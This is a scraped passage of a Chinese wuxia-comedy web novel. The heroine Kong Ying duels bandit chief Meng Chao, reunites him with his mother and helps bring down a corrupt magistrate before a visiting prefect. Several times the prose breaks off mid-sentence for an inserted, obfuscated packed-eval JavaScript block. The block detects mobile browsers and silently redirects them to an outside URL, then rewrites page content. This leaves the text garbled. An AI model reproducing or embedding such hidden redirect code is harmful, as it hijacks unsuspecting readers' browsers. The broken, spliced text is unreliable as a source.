孔英见天色渐晚,有心速战速决,双拳如骤雨般砸向孟超,身手矫健,每一招都带着习武之人的精准与力量。 孟超沉稳应对,双臂格挡间寻觅破绽。多年的捕快生涯让他眼光毒辣,瞧出孔英攻势虽猛,却在步法上略显浮躁。他抓住机会侧身欺进,铁掌直击孔英肩右肩。 孔英非但没有退缩,反而借势抓住他的手腕。 就在孟超惊愕之际,孔英猛然发力,将他整个人抡了起来。孟超想挣脱稳住身形,孔英不给他这个机会,双臂肌肉绷紧,把孟超重重摔在地上。 “承让承让。” 孟超只觉得五脏六腑移位,被孔英拉起来后仍是苦笑:“真是后生可畏。” 他输得心服口服,知道自己确实打不过孔英,便道:“你赢了,我可以答应你一个要求。”想了想又补充一句,“但什么‘杀人’之类的话就不必再说。” 孟超是真担心孔英提出什么让他自杀的要求。 孔英之前被他提醒了山寨人多势众,也不纠结要取孟超的头去邀赏,双手叉腰: “你跟我去衙门自首就行。” 她想得挺好,既然悬赏的是孟超,那人去和头去应该都一样吧。如果孟超能自愿和她走,孔英也不用担心被山寨人追杀。 在旁边休息观战的孙泰一听这话,忍不住骂道:“你别欺人太甚!” 孔英骂回去:“手下败将不许说话!” 孟超和孔英坦言:“姑娘,这个要求我不能答应你。我若走了,我这山寨可怎么办?” 她大义凛然地拍了拍胸脯:“我来啊。”她还挺想试试当寨主是什么感觉的。 孙泰呛声:“做梦吧你!” 孔英见他明显不服气,撸起袖子就要再揍他一顿。 眼见两人争锋相对有愈演愈烈的趋势,孟超抬手示意孙泰噤声,又默默挡在两人中间,好言相劝:“姑娘你上山一趟也不容易,我设宴请你好好吃一顿,你就不要再纠缠了,如何?” 孔英刚刚经历三场比试,肚子早就抗议,见自己是无论如何也拿不到赏金了,只好退一步答应孟超的提议。 本就是吃饭的点,因为比武耽误了许久。孟超招呼人拿出好酒好肉,索性借此机会让山寨热闹热闹。众人看了三场酣畅淋漓的比试也兴致高涨,纷纷拿出自家桌椅板凳,摆起长龙宴。 寨中点起灯火,在渐黑的夜色中驱散原本阴森的感觉。 孟超坐在主位, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288424|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着旁边的孔英拿起酒碗:“姑娘,你与我们也算不打不相识。我看你武功精炼,不知是师从哪位高手?” 孔英吃得正欢,听他问话,费劲咽下嘴里的肉,也拿起盛了低度数米酒的碗:“我是和我爹学的。” “能教出这样的女儿,想必令尊也是位人物。姑娘,你有没有兴趣加入我们山寨呢?你也看到了,虽说山寨不算多富裕,但吃好喝好还是不成问题的。” 孔英夹了一筷子鲜嫩的春笋,摇摇脑袋:“你们干的都是打家劫舍的活,我做不来。我还要去闯荡江湖呢。” 孟超闻言皱眉:“我们虽然被叫做山匪,但从来只劫富济贫,不去欺负弱小。” 孔英反驳:“我今日上山时还被人打劫了呢。” 重重放下酒碗,孟超面露不悦:“我竟不知有这种事。姑娘你还记得那人长何种模样吗?” 孔英努力回忆:“……头大脖子粗,脸上有道从眼角到下巴的伤疤,拿把砍刀,武功不怎么样。” 听到脸上有疤,孟超心里明白了是谁,黑着脸让人去把那人带来。 “今天就是你打劫了这位姑娘?” 那人跪在地上涕泪横流,说自己也被打得不轻,身上现在还疼着呢。孟超背后的伤处也隐隐作痛,正要说话,孔英插了句嘴: “你别为难他了,要不是他带路,我还找不到你们寨子呢。” 火上浇油的话一出,孟超彻底沉下脸,不顾那人如何哭诉,命人带着他去受罚。 “是我管教不严,向姑娘赔罪了。”说罢将碗中酒一饮而尽。 孔英不解,怎么还借向她赔罪的机会奖励自己呢。但她吃饱饭后向来不拘小节,摸摸肚子打了个饱嗝。 “我听说你曾经是个捕快?怎么来当山大王来了。” 孟超被酒气蒙了脑袋醉意上头,提及往事也不掩饰:“平民蒙冤,官府不作为,冷眼看百姓被恶霸凌辱。我当时正年轻,看不惯便出手教训。 “结果那人和县太爷沾亲带故,反污蔑我狐假虎威,害我被革职。我对官府失望,仗着自己有几分武功就上山创立营寨,后来为自己报了仇。 “不过山寨越来越大,我就在此扎根,做了山寨大当家。” 他说的是个报仇雪恨的好故事,脸上却难掩寂寥。孔英追问:“那你为何不开心?” 孟超又是一碗酒下肚,说话时酒气冲天,反问:“我在山里逍遥自在,姑娘见我哪里不开心?” 孔英直觉如此,说不出个所以然。 酒足饭饱,众人散去。孔英从锅里拿了许多还未下筷的干净吃食,想着老大吃饱不能饿着小弟,她要给给楼修生带点回去。 下山时,是之前的赵平送她。 赵平亲眼见孔英轻轻松松赢下三场比试,对她刮目相看,感叹:“英雄出少年啊,原来你还真挺厉害,怪不得敢单挑孟超哥。” 孔英听他对孟超的称呼特别,好奇道:“你和寨主很熟吗?怎么别人都叫他大当家,只有你叫他哥?” 说起这个,赵平露出几分得意:“我和孟超哥可从小穿一条裤子长大,自然比别人亲近。”说着说着夸起孟超,“他从小就爱打抱不平,长大后进衙门当捕快,孟婶可骄傲嘞。” “孟婶是寨主的娘亲?” 赵平点点头,继续道:“你也听说了,若不是那县太爷的侄子欺人太甚,孟超哥应该还在镇上惩恶扬善。可惜啊,外头都在传孟超哥是恶徒凶匪,连孟婶都信了。” 5. 孔英要捉贼赚盘缠 “寨主就没想过去解释解释?” 赵平面露苦涩:“去了好多回,每次都被孟婶拿着扫帚赶出来啦。孟婶还说孟超哥再去的话,她就去报官。孟超哥只好偷偷摸摸送点东西,每次在家门口放下就走。” 孔英咂舌。护国公一直教导她要本分做人,不可仗势压人。可一旦孔英没忍住脾气得罪了什么人,护国公也只是嘴上抱怨,任劳任怨去善后。 真有人舍得与自己的亲生骨肉永不相见吗? 临近山脚,再往前走就是镇上。赵平停住脚步,将身上的包袱还给孔英:“我就送你到这儿,趁着还能看清路,你赶紧回去吧。” 孔英将满满当当的包袱甩到肩上,扭头朝着酒楼的方向走。 月色如水,照得大地像撒了糖霜。孔英从不怕走夜路,嘴里哼着小曲,想着今天蹭上了一顿好饭。只可惜孟超不给她喝烈酒,只让人倒了甜酒酿,不然她此刻估计会高歌一曲呢! 走着走着,前头出现个熟悉的身影,孔英还怀疑是自己看错,冷不丁被迎上来的人弹了个脑瓜。 “嘶。”孔英吃痛地捂住额头。 是谁什么厉害,居然能伤到她。 “你一天不见人影,知不知道我有多担心?那个王行之告诉我说你一个人去了山上,要是你有什么三长两短,我怎么办?”那人叽里呱啦就是一顿数落。 孔英定睛一看,面前居然出现了三个楼修生在喋喋不休,心底大惊。 这就是传说中的分身术吗,可是一个弱女子怎么会东瀛的秘术,难道她的小弟就是传说中扮猪吃老虎的心机坏蛋? 孔英分不清哪个是幻影哪个是真身,脑袋越转越疼,索性闭着眼睛挑一个,一招猛虎下山把猝不及防的楼修生扑倒在地。 “哈,果然被我猜对了,你接近我到底有什么目的!” 楼修生被孔英压倒,骨头磕到地面,痛得冷汗涔涔。猛然听见孔英的质问,慌张她发现了自己的居心,正欲解释,一股酒气漫入鼻尖。 嗯? 楼修生借着月光看清孔英眼底的迷蒙,猜到她偷偷喝酒,试探性问:“你知道什么了?” 孔英一把卸下包袱,攥起楼修生的衣领,小嘴一张就是骂: “我知道你是东瀛的忍者,故意扮无辜接近我,肯定是为了偷学我的绝世武功!你个白眼狼,狼心狗肺的东西!亏我还想着你,给你带了那么多好吃的!” 虚惊一场,楼修生松了口气,刚想开口解释,孔英却骨头一软,瘫倒在他身上。楼修生紧张地探上对方的脉搏,发现孔英只是睡着了而已,又长叹一声。 好不容易将孔英架在自己身上,心底寻思到底是岁月无情。原本常跟在他身后跑的小毛孩子,现在长成了能独当一面的老大,还敢指着他的鼻子骂。 楼修生捡起滚落在地的包裹拍了拍灰,瞥见里面已经冷掉的吃食,心底滑过一丝暖流。 算了,长大也好,人总要长大。 许是甜酒酿对孔英的威力太大,第二日被大太阳光打在脸上的时候她还没醒,烦躁地用被子蒙上头,翻了个身接着睡。 楼修生进门时看见的,就是孔英这样一副要憋死自己的样子。他无奈摇头,去窗边动作轻轻地关上窗户,将孔英从被子里解救出来。 不知过了多久,孔英悠悠转醒,脑袋发昏不顺畅,懒得起床,但不能因此错过早功和早饭,挣扎着从被窝里爬起来,发现已是日上三竿。 哎呀!喝酒误事,孟超害她! 秉承着怪天怪地就是不怪自己的原则,孔英将一切责任推到了孟超身上,毫无心理负担地匆匆洗漱过后就开始练“午功”。 一套内外功运转完毕,孔英宿醉的脑袋清醒不少,又是一条好汉。 囊中羞涩没钱买饭,孔英就去找昨晚从山寨带回来的包裹,死活想不起来自己是如何回到酒楼,又把吃的放在了哪里。 烦躁地抓抓头发,自己见到的最后一个人好像是……东瀛忍者楼薇! 缺失的记忆一下子被串联起来,孔英正难过自己的小弟不怀好心,门“吱嘎”一声被推开,楼修生轻轻走进来,笑道:“你终于醒了,头还疼吗?我去煮了点醒酒汤,或许对你有用。” 孔英还沉浸在被背叛的悲伤里,怒道:“不要你假好心,你以为一点小恩小惠就能换到我的武林秘籍吗?” 楼修生被她气笑,能言善辩的三寸不烂之舌也算是秀才遇上兵,好说歹说才让孔英半信半疑。她伸手摸了摸楼修生的筋骨,确实虚弱无力,没有练过武的痕迹。 只是这幅骨头怎么比寻常女子宽大了这么多? 孔英心里发涩,有些羡慕楼修生的高大。如果这副身子骨是她的,她就不会总受人轻视了!明明她都炼出了这么强壮有力的身躯,却总有人视而不见。 喝了楼修生煮的醒酒汤,将就了些饭菜,孔英开始为今日的生计发愁。她总不能日日上山蹭饭,况且闯荡江湖也需要盘缠呀。 思来想去,孔英又把主意打到了衙门的悬赏上。那日草草扫过,也有别的悬赏单金额不低,只是孟超的悬赏实在高得显眼。现在想来,恐怕还有不少私人恩怨在里头。 孔英出门前被楼修生叫住,对方递过来一个黑漆漆的东西,撇过头不去看孔英: “街上碰见顺手就买了,给你吧。” 顺手买了副刚好适合她的护臂?那看来她今天运气不错。 孔英双眼放光地换上新护臂,将双手转来转去。崭新的护臂牢牢贴在她小臂上,不知道是什么材质,又黑又亮,看上去极为气派。 颇为赞赏地拍了拍楼修生的肩膀道:“不错,知道孝敬老大了。” 楼修生被她这种口吻弄得没脾气,见孔英喜欢自己的礼物,发自心底高兴,脸上漾出一抹克制又难掩得意的笑。 到了衙门,值班的人不是之前喜欢长篇大论的人,孔英好奇问了一嘴,对方冷着脸不耐烦道: “王行之呀,窝在温柔乡里读酸书呢。”话里话外都是讽刺,丝毫没有羡慕之情。 孔英觉得这个名字耳熟,却想不起来在哪儿听说过。 揭下悬赏,她这次要去捉拿臭名昭著的飞贼,江湖人称“无影踪”。不知出身,不知面容,甚至不知男女。据传此人擅长轻功飞檐走壁,入室无声无息。 而且无影踪癖好古怪,专偷人家传家宝,偷了也不找机会高价出手。有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288425|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位富商家中祖传金蟾蜍失窃后,发出告示愿重金买回,承诺不追究偷窃者的责任,只想拿回“家父临终前亲手交到自己手中”的珍宝。 结果无影踪愣是不动心,这位富商至今也没能寻回传家宝。 孔英一拍脑袋,如果她能摸清哪户人家有传家宝,再去守株待兔,到时候凭自己的本事,捉拿无影踪还不是易如反掌? 说干就干,她直接去跟酒楼里的小二打听。自从上次在他那里知道衙门缺人手之后,孔英就将店小二看作了镇上消息最灵通的人。 趁着人少,孔英抓住小二就问,小二听了她的问题,神情怪异: “客官,您这范围也太宽了。就说镇上,张家有传家剑,钱家有传家笔,孟家有传家玉……那无影踪要是真每户人家都去一遍,他也偷不过来呀!” 见孔英神情郁闷,小二边用帕子擦桌边宽慰道:“不过您倒也可以试试,指不定无影踪就正好看上谁家的宝贝了呢。” 孔英想不出别的办法,只好按照小二说的人家一户户上门去问。 结果人家一听是来打探传家宝的消息,神色一变就直接关门。也有人不关门,反而用怀疑的眼光上上下下打量孔英,似乎把她当作了经过伪装的无影踪,说着说着就要去官府报案。孔英不得不好一通解释。 “嚯,累死我了。” 问了半天也没见人搭理她,孔英垂头丧气,随地在路边的石头上坐下,手撑在下巴上百思不得其解。 她都明说自己只是为民除害,不收报酬替他们守护传家宝了,怎没一个人愿意相信她啊,难不成自己长了一张骗子脸?不应该啊,她爹以前还老夸她有自己的影子呢。 现在就剩最后一家没问了,孔英给自己打气,说不定这家就成功了呢。 越往前路越窄,穿越一条看上去没什么人走的羊肠小道,孔英才见了间坐落在偏僻处的低矮草房,一个布衣大娘坐在院子前编竹筐。 孔英猜或许是之前的自己太过严肃,专门挤出个笑脸迎上去,招呼道:“大娘好哇!” 李荷被突如其来的大嗓门吓了一跳,韧性十足的竹条差点抽到手背上,她扭头看过去,只见个看上去年岁不大的姑娘狞笑着朝自己过来,一下子从板凳上弹起来: “你,你要干嘛?” 孔英见她丢下编了一半的竹筐就要往屋子里跑,腿下不自觉也跟着跑起来,忙喊:“大娘别跑啊,我不是坏人!” 孔英一跑,李荷花心里更加发慌,但她哪里跑得过勤加锻炼的孔英,自己胳膊被孔英拉住的时候嘴里还喊着:“哎呦喂,救命啦!欺负人啦!” 可惜这里荒郊野外,目之所及处就只有孔英和李荷花两个人,根本叫唤不来人。李荷花嚎了几嗓子累得够呛,最后被孔英搀扶着气喘吁吁地坐回板凳上。 “不是,大娘你真误会了,我没想欺负你啊。”孔英真是有苦难言,“我是来帮你的!” 李荷花惊魂未定,说不出话来,瞪着眼看对方能说出什么解释。 孔英赶紧趁这机会把话一股子说完:“最近镇上有贼,专门偷人家传家宝,偷了也不还也不卖。我听说您家里也有件传家宝,特地来帮您呢!” 6. 孔英要义作解铃人 李荷花家住郊外消息闭塞,从没听说过什么盗贼“无影踪”,对孔英的话半信半疑。且她一穷二白,这贼怎么偷也偷不到她家里来啊。 “不用,要是真有贼来,你顶个什么用啊。” 孔英最受不了的就是被人轻视,但她有原则,从不对老弱病残动武。松开捏紧的拳头,试图用事实证明自己: “我很厉害的!你知道山上那个山寨不,我还打败过山寨的大当家呢。” 听到这话的李荷花忽然愣在了原地,用怪异的眼光看向孔英。孔英被她看得心里发毛。 李荷花问:“你见过山寨大当家?” 孔英答:“当然啦,他还是我手下败将呢。”她竖出三根手指,“我打败他只用了三招。” 李荷花的态度突然柔软了下来,笑道:“你这么厉害呢,是不是他故意让着你呀。” 孔英急忙解释:“当然不是!我是正正经经在擂台上打败他的。” “他怎么样啊,山寨上生活得好不好?” 孔英不懂李荷花为什么这么问,老老实实答道:“山寨上吃得好喝得好,住在那里的人看上去都挺开心的。” 李荷花喃喃:“好,挺好的。” “咋啦大娘,你想去投奔他啊?” 李荷花不自在地拿起方才未编完的竹筐,手上动作不停,低头去看竹条被弯曲着从另一根竹条下穿过去。 “我去投奔他做什么呀,他们是山匪,我可是良民!” 两人间的气氛缓和下来,孔英见有机会,便拉过一条竹凳坐下,和李荷花搭话:“话也不是这么说,虽然他们被人叫作匪徒,但大当家人还挺好的,还请我吃了顿饭呢。” 李荷花闻言看了她一眼,也不计较对方的自来熟。或许是太久没和人说话了,她此刻也有份倾诉心:“你个小姑娘,和他什么关系啊,还敢在山寨里吃饭。” “说来话长,我本来是接了悬赏去杀他的……” “什么!” 孔英话还没说完就被惊起的李荷花打断,她看着对方脸上惊恐的神情,以为对方是误会自己杀人不眨眼,连忙解释:“我不是……” “好啊你,你想杀我儿子还敢跑到我们家来!” 李荷花气愤地顺起倚在墙角用来劈竹条的小砍刀,初见孔英时的害怕已经被为人母的勇气压下去,满脑子想着的就是眼前这个姑娘想杀她儿子。 孔英眼疾手快,一把夺过小砍刀,见李荷花左顾右看还想找件顺手的武器,心里叫苦不迭,只得边说着“得罪”,边将李荷花的双手钳制到背后。 “大娘你别激动,你听我说。”她细细把经过一五一十地告诉李荷花。 听完了整件事的李荷花像是还没反应过来,眼神懵懵,冷不丁问:“孟超上了衙门悬赏?” 孔英点点头,还想说话,却见李荷花脸上两行清泪落下来。 李荷花咬牙切齿:“县太爷个鳖下的王八蛋,我都躲到这鸟不拉屎的地方来了,他还不放过孟超。”又是一连串亲切的问候。 孔英听得目瞪口呆,暗自庆幸李荷花对她直接动手不动口,不然自己还真不知道怎么招架。 好不容易发泄完对县太爷怨气,李荷花把孔英当作了倾诉对象,絮絮叨叨说起她和孟超的往事。 孟超父亲十几年前被前朝拉去当壮丁就杳无音讯,估计是死在战场上的哪个犄角旮旯。李荷花带着孟超没改嫁,曾经温温柔柔的女人被生活磋磨成了现在蛮横的样子。 孤儿寡母,家中光景惨淡。李荷花手巧,能编竹筐竹篮赚几文钱,孟超也十分懂事,帮着家里干活,生活总能熬过去。 后来孟超进了衙门干活,李荷花想着总算苦尽甘来,往后的日子会好些。 天有不测风云,某日她正在家里做饭,听见有人急急忙忙跑来报信说孟超在大街上打人!李荷花心知自己儿子的品行不可能做出无缘无故伤人的事,匆忙赶过去。 到了地方事情已经被处理得差不多了,身穿官服的几个男人把孟超压着头走。孟超似有不服,挣扎着要脱离束缚,不期然撞上母亲含泪的双眸,愕然间失了力道。 随后的事情就是孟超被革职下狱,越狱后跑到山上当土匪,成了人们口中为非作歹的山寨大当家。 李荷花叹气:“我生的养的儿子,我还不清楚吗。从小就说着以后要当保护百姓的大将军,怎么会成了无恶不作的人呢?” 孔英想起赵平之前说的话,不解:“那您为什么不愿意再见他啊?” 李荷花语气苦涩:“哪里是我不愿见他,是那个该挨千刀的县太爷还记恨孟超啊。” 孟超逃上山后有个姑娘提了不少东西上门,告诉了李荷花事情真相。原来是县太爷的侄子当街欺负民女,被巡查治安的孟超和其他捕快正好撞见。 县太爷的侄子横行霸道惯了,别人都劝孟超多一事不如少一事。孟超不顾伙伴阻拦出手救下女子。被打的鼻青脸肿的侄子向自己叔叔哭诉,县太爷连审讯都省了,直接将孟超下狱。 孟超当上山寨大当家后杀了县太爷的侄子雪恨,却也因此彻底成为有罪之身,无法再回到原本的生活。 李荷花见孟超来看自己本来十分高兴,结果衙门在她家门口埋伏了人,只等孟超来了就将他捉拿归案。她没别的法子,只好将孟超赶出去,暗暗提醒他附近有官府的人,威胁他不要再来。 孔英听了整件事,正义之气凌然而起,也跟着李荷花骂道:“挨千刀的县太爷。” 李荷花抹了把脸上的泪,语气里透出几分无力:“人家是官,我们小老百姓能怎么办呢。” “我现在也认了命,只要孟超好好活着就行。”李荷花把手上编完的竹筐叠到竹筐堆上,站起来拍了拍手,“你不是想看我们家的传家宝吗,你等着。” 李荷花从里屋拿出一个精致却陈旧的锦盒,打开后,一枚玲珑剔透的玉佩显露出来。 “这是孟超他爹走之前给我的,说是让我等孟超娶了亲再给他。” 这么多年下来,就算生活再艰苦,李荷花也没想过要卖掉玉佩。她觉得只要玉佩还在,他们家就总还有一口气续着。 李荷花眼眶又红了,她牵起孔英的手:“姑娘,我知道你是个好人,大娘能不能拜托你个事?” 她从怀里掏出一两银锭塞给孔英:“我估计是看不到孟超娶亲了,能不能托你替我将这个玉佩带给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“老贼欺人太甚,我辈已忍无可忍。我将即刻下山向老贼讨取公道,如有愿一同前去者,抄起家伙跟上!” 一呼百应。如果不是山下的生活实在活不下去,有几个人愿意背上“匪徒”的骂名?众人骂骂咧咧,纷纷从家中或拿柴刀或拿菜刀,呼啦啦就要跟着孟超下山。 孔英没想到事情会发展成这样,混杂人群中被高昂的情绪感染,也跟着热血沸腾,恍惚间觉得自己成了江湖传奇中大义凌然的豪杰。 众人声势浩大,山匪下山的消息跟长了翅膀似的传入镇内。 “山匪!” “山匪来啦!快逃!” “不要杀我啊,我上有老下有狗,大黄还等着我回家呢!” 平民能跑就跑,跑不了的就随便用什么东西罩在自己身上,龟缩在角落,祈求祖宗保佑自己的一条小命。结果念叨了半天,只听见一阵混乱的脚步声来了又走。 他心底好奇,偷偷揭下身上的麻布露出一只眼睛,只见山匪所过之处没人受伤也没人被抢,甚至连菜摊子都没倒一个。 他疑惑地看着传说中“烧杀劫掠”的山匪有组织有纪律地统一向某个方向跑去,那是…… “县太爷府?!” 7. 孔英要助匪告昏官 山匪众人畅通无阻地跑到了县太爷府,连个阻拦的人都没有。一开始他们还以为是有什么埋伏,后来才发现衙门冷落,根本就没几个捕快,再加上山匪狠毒的名声在外,更没什么人敢来阻挡。 一直到县太爷府门口,才有几个护卫颤颤巍巍拿着剑,虚张声势地警告众人不许靠近。 孟超上前一步,冲着正门大喊:“杜丰,我今天就要来为民除害!”说完率先举起大刀冲上前,身后众人也义愤填膺地跟上。 几个护卫吓得脸色惨白,一把丢了剑抱头鼠窜,唯恐众人误伤自己。 孟超抓到杜丰的时候,这位平时人模人样的县太爷正衣衫不整地想从狗洞逃跑,结果因肥硕的身子卡在了洞里,狼狈不堪的样子引起人们哈哈大笑。 孟超手上发力,将杜丰提了出来,大刀抵到他粗短的脖子上。 “杜丰,你可还记得我?” 杜丰拼命梗直脖子,想离闪着寒光的刀柄远点,听见这话惊慌失措地抬头,见到孟超那张凶狠的脸,吓得魂没了一半,哆哆嗦嗦道:“你,你是杀了我侄儿的那个山匪。” 见孟超眼睛一蹬,手上的大刀就要朝着他脖子砍来,又连忙改口道:“不,您是山寨大当家!” 孟超揪着杜丰的脖子往外走,杜丰连滚带爬、面如死灰的样子看得山寨众人十分解气。 他站在县太爷府门口,目光扫过周围看热闹的人群,大声宣告: “各位父老乡亲,容水县县令杜丰不仅任由亲眷胡作非为,还目视百姓受辱无动于衷,我孟超受此贼人压迫被迫上山为匪,背负骂名许久。今日我就替天行道,斩此贼人!”说罢,手中大刀就要落下。 “等等!”一道熟悉的声音传来,孟超惊愕望去。 孔英听着这声音耳熟,一回头就见李大娘跑得面色涨红,匆匆而来。看来今日山匪出动的消息穿得确实广,连李荷花都听说了。 孔英挤出人群去搀扶李荷花,好奇问道:“大娘,你也来看大当家斩昏官啊?” 李荷花刚跑过来还没顺过气,一听这话更急了:“孟超,你不能杀他,这狗县令虽然该死,但他还是朝廷的官。你难道真想一辈子当山匪了吗?” 众人沉默,上头的热血冷却下来,才意识到自己是闯进了县令家喊着要杀县令,又愤恨难平,分明这种昏官死一百次都不足惜。 孟超见到许久不见的娘亲,手上的力道不自觉小了许多,杜丰趁此机会悄悄挣脱开他的钳制,脚底一溜就想跑。 没走出几步只见前路阴影重重,一抬头发现围观的人群已经把路锁死,其中不仅有山匪,还有本就对县令有怨的百姓。 “娘,我已经难以回头。您看看这人,难道您忘了这人把我们害得有多惨吗?” 李荷花心里也十分矛盾,她当然觉得杜丰死有余辜,可是一旦孟超在众目睽睽之下成了杀害朝廷官员的凶手,恐怕真得在山上待一辈子了。 就在众人僵持不下之际,一阵马车声从远处袭来。 随从高声道:“阳州刺史到——” 一位身穿官服、气宇轩昂的男子从马车上下来,沉声询问,不怒自威:“此处聚众所为何事啊?” 杜丰仿佛看到了救星,扒开呆愣的人群冲上去,对着刺史声泪俱下喊救命。 孟超心知今日事难以善终,走过之处人群自动让开一条路,最后到刺史身前站定,直视上对方炯炯的目光,单腿跪下: “草民孟超,要告发容水县县令杜丰尸位素餐、鱼肉百姓,请刺史大人主持公道!” 一片哗然,身边的李大娘发出一声惊呼。 刺史站着,孟超跪着。孔英看不清楚两人的神情,却似乎在孟超身上感受到了种英勇就义的决心。 山匪告官,你听说过吗? 孔英没听说过。 但是,为什么不可以呢? 冷清了许久的衙门终于再次热闹起来,勉勉强强凑齐了衙役和书吏,刺史亲自作判官,响木一拍,孟超和杜丰都被带上来。 被拉来充作书吏的王行之见到孔英时还觉得神奇,没想到当初说着要杀山匪的小姑娘此刻却站到了山匪一边。不过这事相比山匪告官的奇闻也显得微不足道了。 他一边感慨当今这世道,一边拿毛笔蘸了蘸墨水。 升堂后,孟超细细说了自己是如何被革职、被下狱、被逼上山,又说自己和寡母遭杜丰迫害分别许久,最后怒斥杜丰“当官不为民做主,不如回家卖红薯”。 有人头一回知道这山匪头子还有段悲情往事,听得眼泪汪汪,将愤怒的眼神看向杜丰。 杜丰似乎觉得有了人撑腰,便不再担心自己性命,面对孟超的控诉也只是一声冷笑。 “你说我侄子强抢民女,明明是那女子见我侄儿穿得富贵主动贴上来,我侄儿不敢动心思,甘做柳下惠,却被你个小小捕快当街殴打! “我作为百姓父母官自然是要秉公处理,你倒打一耙污蔑我侄儿不说,还口出狂言说我徇情枉法。对朝廷官员如此不敬,我将你下狱有何问题啊?” 嚯! 孔英第一次见有人能如此颠倒黑白,看杜丰睁着眼睛说瞎话却脸不红心不跳,气极反笑,心里十分震撼的同时,想着要是自己面对护国公生气时也能这样无中生有就好了。 杜丰还在继续:“你控诉我侄儿的话毫无根据,我的侄儿死在你山寨里可是千真万确啊!” 他眼睛一眨,挤出几滴泪:“刺史大人,我那侄儿只是孩童心性贪玩了些,最后却落得个惨死的下场啊!这山匪草菅人命,实在罪大恶极!” 李荷花听了这话一时气火攻心昏死过去,孔英连忙找人带她去医馆。 孟超见娘亲昏倒,急得顾不上骂杜丰就去查看情况,确认李荷花并无大碍后,对杜丰的仇恨更上一层楼,几乎忍不住就要冲上去打这无耻小人一顿。 杜丰吓得哇哇叫,躲到刺史身后还惊魂未定。 “啪!”响木落下,四下的嘈杂逐渐消失。 刺史面无表情扫视了一圈人群,将众人的样子收入眼底,缓缓开口: “传证人许倩儿上堂。” 一个面容姣好的女子跟着衙役上来,直接跪倒在堂前,哭诉:“请刺史大人为民女做主,民女要告县令杜丰侄子恃强凌弱、欺侮百姓!” 杜丰脸色发白,刚想狡辩,被刺史一个眼神压制住。 许倩儿哭得梨花带雨,诉说自己明明好好走在街上,县令侄子见她姿色尚可便对她动手动脚,幸好孟超路过救下她。 没想到孟超却因此遭劫难,许倩儿本想去更高一级的官府告状,被杜丰用父母安危威胁,只能眼睁睁看英雄含冤而无法作为。 “大人,她在说谎,这女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288427|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 污蔑我呀!” 刺史示意衙役压下激动的杜丰,让许倩儿站到一边:“传证人乔宛上堂。” 一个娇俏的红衣女子哭着上来,说自己本是良家女儿,被县令侄儿依仗权势抢进门。 “传证人曹宝上堂。”一个瘸腿男子拄着拐上来,说只因自己的牛车挡了县令的路,就被侍卫打断一条腿。 “传证人汤青健上堂。”一个面色苍白的男子上来,说自己买了县令夫人店里的药材,吃了几天后吐血不止。 …… 证人越来越多,最后竟然将衙门站得满满当当。曾受县令或者县令亲眷压迫的人站成了一堵山,将杜丰压得越来越小。 刺史脸色阴郁,响木重重拍下:“杜丰,你可知罪!” 之前还十分威风的县令瘫倒在地上,双目失神,口中喃喃:“我,这不是我……” 事已至此,谁真谁假一眼便知。 杜丰被打入大牢,恐怕死也要死在监牢里,其依仗官威的亲眷被连坐下狱,先前搜刮来的民脂民膏都如数返还,变卖其家产给受害者作为补偿。 而孟超虽然杀了人,但念在其事出有因,且有许多人替他情愿,刺史大手一挥无罪释放,只是要孟超不可再用山匪的名头招摇过市。 结果一出,大快人心。 李荷花在医馆醒过来乍一听见这好消息,晕乎乎还以为自家在做梦,直到见了孟超眼含热泪跪下说自己不孝,她才终于意识到这么些年压在他们身上的大山没了。母子俩抱头痛哭。 孔英在一旁见证了全程,也替容水县所有人感到高兴。 她本来以为按照杜丰那张口就来的本事,自己得暴露护国公府三小姐的身份才能帮孟超等人洗刷冤屈,没想到这个刺史大人还挺讲道理。 不过,刺史平常都该在州府,怎么会恰好跑来容水县,又是从哪儿找来那么多证人呢? 孔英想不明白,也不乐意想,只知道结局是好的。 “孔英妹子,还要多感谢你,不然我和娘亲的误会还不知要什么时候才能解开呢。”孟超拉着孔英真心实意地道谢。 “无妨无妨,我们江湖中人最喜欢路见不平拔刀相助了。”孔英说得豪情万丈。 曾被孟超救下的许倩儿面色微红,过来朝孟超袅袅一拜:“孟大哥,当初被你救下,我都没有机会亲口跟你道谢,若不是我,你也不会经历这些。” 